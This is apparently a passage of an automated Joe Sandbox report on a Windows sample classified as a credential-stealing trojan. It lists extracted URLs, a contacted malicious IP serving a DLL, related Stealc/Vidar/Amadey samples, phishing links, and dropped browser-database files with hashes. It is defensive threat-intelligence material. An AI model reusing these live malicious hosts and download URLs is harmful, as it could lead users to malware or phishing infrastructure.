http://anglebug.com/4384	chrome.exe, 00000003.00000003.1772706200.00001388009C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1772387093.000013880037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1772676312.000013880037C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mail.google.com/mail/?tab=rm&ogbl	chrome.exe, 00000003.00000003.1819011223.0000138801388000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1814105118.0000138802FCC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1814931203.0000138802D38000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1814883729.0000138802D1C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/3970	chrome.exe, 00000003.00000003.1772706200.00001388009C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1772387093.000013880037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1772676312.000013880037C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17chost.exe	file.exe, 00000002.00000002.2321595530.00000000004B5000.00000040.00000400.00020000.00000000.sdmp	false		high
https://apis.google.com	chrome.exe, 00000003.00000003.1814883729.0000138802D1C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://polymer.github.io/CONTRIBUTORS.txt	chrome.exe, 00000003.00000003.1778450745.0000138800EEC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1778231263.000013880101C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1778494983.0000138801048000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1779503741.0000138800F24000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1779460452.00001388009C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1778299211.000013880102C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1778330993.000013880107C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1780395760.0000138801160000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1779647728.000013880043C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1779850594.0000138801098000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1779431410.0000138800A34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1779393062.0000138800CAC000.00000004.00000800.00020000.00000000.sdmp	false		high
https://labs.google.com/search?source=ntp	chrome.exe, 00000003.00000003.1819011223.0000138801388000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1814105118.0000138802FCC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1814931203.0000138802D38000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1814883729.0000138802D1C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://google-ohttp-relay-query.fastly-edge.com/2P	chrome.exe, 00000003.00000003.1761779706.00000FFC00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1808059788.00000FFC0080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1806635535.000013880280C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://109.107.157.132/955ccceeebf8214b/vcruntime140.dllcMf	file.exe, 00000002.00000002.2322159441.0000000002FB1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://anglebug.com/7604	chrome.exe, 00000003.00000003.1772706200.00001388009C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1772387093.000013880037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1772676312.000013880037C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://google-ohttp-relay-join.fastly-edge.com/hj	chrome.exe, 00000003.00000003.1762198030.00000FFC00684000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/7761	chrome.exe, 00000003.00000003.1772706200.00001388009C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1772387093.000013880037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1772676312.000013880037C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ogs.google.com/widget/app/so?eom=1	chrome.exe, 00000003.00000003.1814883729.0000138802D1C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/7760	chrome.exe, 00000003.00000003.1772706200.00001388009C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1772387093.000013880037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1772676312.000013880037C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	file.exe, 00000002.00000002.2322159441.0000000002FB1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000002.00000002.2339706402.0000000023570000.00000004.00000020.00020000.00000000.sdmp, ECGDHIDAAFHIIDGDBFIE.2.dr	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	file.exe, 00000002.00000003.1859942151.000000000300C000.00000004.00000020.00020000.00000000.sdmp, IEBFIEBA.2.dr	false		high
http://anglebug.com/5901	chrome.exe, 00000003.00000003.1772706200.00001388009C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1772387093.000013880037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1772676312.000013880037C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/3965	chrome.exe, 00000003.00000003.1772706200.00001388009C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1772387093.000013880037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1772676312.000013880037C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/6439	chrome.exe, 00000003.00000003.1772706200.00001388009C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1772387093.000013880037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1772676312.000013880037C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/7406	chrome.exe, 00000003.00000003.1772706200.00001388009C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1772387093.000013880037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1772676312.000013880037C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/search	chrome.exe, 00000003.00000003.1806635535.000013880280C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://anglebug.com/7161	chrome.exe, 00000003.00000003.1772706200.00001388009C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1772387093.000013880037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1772676312.000013880037C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://drive-autopush.corp.google.com/	chrome.exe, 00000003.00000003.1764814018.00001388004A8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/search?q=$	chrome.exe, 00000003.00000003.1779850594.0000138801098000.00000004.00000800.00020000.00000000.sdmp	false		high
https://anglebug.com/7162	chrome.exe, 00000003.00000003.1772706200.00001388009C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1772387093.000013880037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1772676312.000013880037C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crt.sectigo.com/SectigoPublicCodeSigningCAR36.crt0#	file.exe	false		high
http://anglebug.com/5906	chrome.exe, 00000003.00000003.1772706200.00001388009C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1772387093.000013880037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1772676312.000013880037C000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
239.255.255.250	unknown	Reserved	unknown	unknown	false
109.107.157.132	unknown	unknown	29314	VECTRANET-ASAlZwyciestwa25381-525GdyniaPolandPL	true
172.217.21.36	www.google.com	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.4
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1560522
Start date and time:	2024-11-21 22:32:05 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 38s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	10
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.phis.troj.spyw.evad.winEXE@20/32@2/5
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 97% Number of executed functions: 104 Number of non-executed functions: 54
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 172.217.19.238, 172.217.21.35, 74.125.205.84, 34.104.35.123, 199.232.210.172, 192.229.221.95
Excluded domains from analysis (whitelisted): fs.microsoft.com, clients2.google.com, ocsp.digicert.com, accounts.google.com, edgedl.me.gvt1.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, clientservices.googleapis.com, clients.l.google.com, www.gstatic.com, fe3cr.delivery.mp.microsoft.com
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

⊘No simulations

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
239.255.255.250	https://temp.farenheit.net/XMDNvVFp0d0NmOUNSbFJTSVB2QTRuZktxeWdPaG5ReWxrK1NleVgvbGgvakhBRU5TWkZPQW14RDZLMTlST0pJK3Jja1R0bjkyZkxubHc1UXhLdmU5UVNJcVIyU25JdFVIV0hEc3l3R0kvb3VpWWFlWGxvWmJMSDIwaWRkYTV3c2V3ZnpXcVArUkJXbEpTeWU1SCtuRWNpRVI2RFFuNXh1ODEyQUx3WlNCdDB1N3NjcDh2M1p4MU9qSkJ0R2VDV0VDeVJ4THU5bDM5SkkvaGMxc1hEc3pOb0VtcWl0cDUxemRyc1BwMkE9PS0tRklOcExLZUVZVVZGemhWRC0teTZKNGN1UnI2dUIxL3E5Zm91Q2hVZz09?cid=2268024206	Get hash	malicious	KnowBe4	Browse
	file.exe	Get hash	malicious	Amadey, XWorm	Browse
	http://t.ly/YSjhI	Get hash	malicious	Unknown	Browse
	https://app.smartsheet.com/b/form/9141bdd4d7da45789170a7064a677627	Get hash	malicious	HTMLPhisher	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	FW_ Signature Required For Agreement with ID_41392PJBM8759674.msg	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse
	https://cheddar-olive-hospital.glitch.me/home.html	Get hash	malicious	Unknown	Browse
	[EXTERNAL] Oakville shared ''o_akville_853473074_21.11.2024''.eml	Get hash	malicious	Unknown	Browse

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
VECTRANET-ASAlZwyciestwa25381-525GdyniaPolandPL	bin.arm7.elf	Get hash	malicious	Mirai	Browse	37.8.194.50
	j3Lr4Fk7Kb.elf	Get hash	malicious	Mirai	Browse	82.139.56.73
	belks.sh4.elf	Get hash	malicious	Mirai	Browse	95.160.85.217
	belks.x86.elf	Get hash	malicious	Mirai	Browse	95.160.85.223
	jew.m68k.elf	Get hash	malicious	Unknown	Browse	37.8.194.41
	la.bot.mips.elf	Get hash	malicious	Unknown	Browse	78.88.130.81
	la.bot.sh4.elf	Get hash	malicious	Mirai	Browse	82.139.68.128
	la.bot.m68k.elf	Get hash	malicious	Unknown	Browse	178.235.133.156
	lnoNmFwpJz.exe	Get hash	malicious	Stealc	Browse	109.107.157.208
	YgRM4B7aKR.exe	Get hash	malicious	Stealc	Browse	109.107.157.208

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	https://temp.farenheit.net/XMDNvVFp0d0NmOUNSbFJTSVB2QTRuZktxeWdPaG5ReWxrK1NleVgvbGgvakhBRU5TWkZPQW14RDZLMTlST0pJK3Jja1R0bjkyZkxubHc1UXhLdmU5UVNJcVIyU25JdFVIV0hEc3l3R0kvb3VpWWFlWGxvWmJMSDIwaWRkYTV3c2V3ZnpXcVArUkJXbEpTeWU1SCtuRWNpRVI2RFFuNXh1ODEyQUx3WlNCdDB1N3NjcDh2M1p4MU9qSkJ0R2VDV0VDeVJ4THU5bDM5SkkvaGMxc1hEc3pOb0VtcWl0cDUxemRyc1BwMkE9PS0tRklOcExLZUVZVVZGemhWRC0teTZKNGN1UnI2dUIxL3E5Zm91Q2hVZz09?cid=2268024206	Get hash	malicious	KnowBe4	Browse	52.149.20.212 172.202.163.200 13.107.246.63 23.218.208.109
	http://t.ly/YSjhI	Get hash	malicious	Unknown	Browse	52.149.20.212 172.202.163.200 13.107.246.63 23.218.208.109
	https://app.smartsheet.com/b/form/9141bdd4d7da45789170a7064a677627	Get hash	malicious	HTMLPhisher	Browse	52.149.20.212 172.202.163.200 13.107.246.63 23.218.208.109
	file.exe	Get hash	malicious	Unknown	Browse	52.149.20.212 172.202.163.200 13.107.246.63 23.218.208.109
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	52.149.20.212 172.202.163.200 13.107.246.63 23.218.208.109
	https://cheddar-olive-hospital.glitch.me/home.html	Get hash	malicious	Unknown	Browse	52.149.20.212 172.202.163.200 13.107.246.63 23.218.208.109
	https://facial.ws	Get hash	malicious	Unknown	Browse	52.149.20.212 172.202.163.200 13.107.246.63 23.218.208.109
	https://www.im-creator.com/viewer/vbid-2a496caa-iwgbu2zx/vbid-7e913ffa-lok1anrm	Get hash	malicious	Unknown	Browse	52.149.20.212 172.202.163.200 13.107.246.63 23.218.208.109
	http://main.cloudfronts.net/dns/sshd	Get hash	malicious	Unknown	Browse	52.149.20.212 172.202.163.200 13.107.246.63 23.218.208.109
	https://tronblma3sw.z13.web.core.windows.net/?click_id=2isqs9om0m3rjybj2&tid=903&subid=novatechwheels.com&ref=novatechwheels.com&922%5D	Get hash	malicious	TechSupportScam	Browse	52.149.20.212 172.202.163.200 13.107.246.63 23.218.208.109

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse
	S0FTWARE.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
	E89hSGjVrv.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
C:\ProgramData\mozglue.dll	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse
	S0FTWARE.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
	E89hSGjVrv.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\AAEBAKKJKKEBKFIDBFBA

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CBAEHCAEGDHJKFHJKFIJKJEGHI

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.037963276276857943
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWZWdgokBQNba9D3DO/JxW/QHI:58r54w0VW3xWZWdOBQFal3dQ
MD5:	C0FDF21AE11A6D1FA1201D502614B622
SHA1:	11724034A1CC915B061316A96E79E9DA6A00ADE8
SHA-256:	FD4EB46C81D27A9B3669C0D249DF5CE2B49E5F37B42F917CA38AB8831121ADAC
SHA-512:	A6147C196B033725018C7F28C1E75E20C2113A0C6D8172F5EABCB8FF334EA6CE10B758FFD1D22D50B4DB5A0A21BCC15294AC44E94D973F7A3EB9F8558F31769B
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\ECGDHIDAAFHIIDGDBFIE

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1809), with CRLF line terminators
Category:	dropped
Size (bytes):	9571
Entropy (8bit):	5.536643647658967
Encrypted:	false
SSDEEP:	192:qnaRt+YbBp6ihj4qyaaX86KKkfGNBw8DJSl:yegqumcwQ0
MD5:	5D8E5D85E880FB2D153275FCBE9DA6E5
SHA1:	72332A8A92B77A8B1E3AA00893D73FC2704B0D13
SHA-256:	50490DC0D0A953FA7D5E06105FE9676CDB9B49C399688068541B19DD911B90F9
SHA-512:	57441B4CCBA58F557E08AAA0918D1F9AC36D0AF6F6EB3D3C561DA7953ED156E89857FFB829305F65D220AE1075BC825F131D732B589B5844C82CA90B53AAF4EE
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "57f16a19-e119-4073-bf01-28f88011f783");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696333830);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696333856);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\HDBKJEGIEBFHCAAKKEBA

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IEBFIEBA

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JJDBAAEGDBKKECBGIJEBGDAEBF

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JJJJKEHC

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: S0FTWARE.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: E89hSGjVrv.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: S0FTWARE.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: E89hSGjVrv.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
